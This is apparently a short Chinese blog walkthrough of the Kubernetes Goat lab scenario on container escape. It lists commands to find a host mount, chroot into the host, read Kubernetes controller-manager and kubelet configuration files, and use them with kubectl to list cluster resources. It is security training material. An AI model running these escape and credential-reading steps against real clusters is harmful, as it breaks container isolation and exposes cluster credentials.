Kubernetes Goat 04 - Container escape to the host system
categories: []
date: '2023-10-28T15:15:52.766760+08:00'
tags: []
title: Kubernetes Goat 04 - Container escape to the host system
updated: 2023-10-28T15:15:53.311+8:0
Container escape to the host system
查看环境
- 查看挂载
mount
/df -Th
- 找到挂载目录
ls -la /host-system
切换到宿主机的目录
chroot /host-system bash
- docker ps
- 查看k8s配置文件
cat /etc/kubernetes/controller-manager.conf
- 可使用
kubectl
利用配置文件获取集群内的所有资源。
kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system
kubectl --kubeconfig /etc/kubernetes/kubelet.conf get pod
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 putdown.top